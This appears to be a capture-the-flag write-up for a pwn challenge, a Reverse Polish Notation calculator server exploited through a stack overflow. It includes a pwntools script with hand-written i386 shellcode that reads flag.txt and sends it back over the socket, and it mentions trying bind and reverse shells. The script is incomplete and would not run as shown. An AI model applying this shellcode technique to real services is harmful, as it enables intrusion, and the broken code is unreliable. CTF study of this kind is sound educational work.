Tags: pwn shellcode 

Rating: 5.0

We have the binary of the server and the binary of the client. The server can compute operations in Reverse Polish Notation. It's easy to crash the server sending lots of data to cause an overflow. Using gdb we can see that the program tried to execute an instruction on a specific address that we can control, however the address of the instruction is specified on the heap, so it's not easy to create a rop chain to execute arbitrary functions. What we did was to set as return address the address of a rop gadget `pop ebp; ret`, because we see that in the stack there was our input (aaaaaaaa):

00:0000│ esp 0xffffd9fc —▸ 0x8049a4d ◂— add esp, 0x10 # this parameter will be popped away with pop ebp;
01:0004│ 0xffffda00 —▸ 0xffffda10 ◂— 0x616161616161 # our input -> executed with ret;

Since the server's binary has the stack executable we can override the "aaaaaaaa" -> 0x61616161616161 with a shellcode, We tried with a bind shell or reverse shell shellcode but the firewall blocked our connections. So we crafted our shellcode that:

1. open the file `flag.txt`
2. read the content of flag.txt and write the content inside a chunk in the heap -> there was already a function in the binary to do this and the chunk in the heap is always the same since PIE is disabled.
3. send back to us the content of the chunk in the heap using the socket file descriptor (4) -> there was already a function in the binary to do this


#!/usr/bin/env python3

from pwn import *
import string

context.log_level = "debug"
context.arch = "i386"

PASSWORD = b"JustPwnThis!"

pop_ebp_ret = p32(0x0804AD23)
flag = b"./flag.txt\x00\x00"[::-1]
shellcode = asm(
xor ecx, ecx
mul ecx
mov al, 0x05
push ecx
push 0x{flag.hex()[:8]}
push 0x{flag.hex()[8:16]}
push 0x{flag.hex()[16:24]}
mov ebx, esp
int 0x80
push {hex(0x804a8c8+9712)}
mov edx, esp
push 0x100
push edx
push eax
mov edx, 0x804a5ca
call edx
pop eax
pop ebx
push ebx
push 4
mov edx, 0x0804a650
call edx
).ljust(PADDING, b"\x90")

payload = p32(0x804A8C8) + shellcode + pop_ebp_ret

# conn = remote("localhost", 9000)
conn = remote("gamebox1.reply.it", 27364)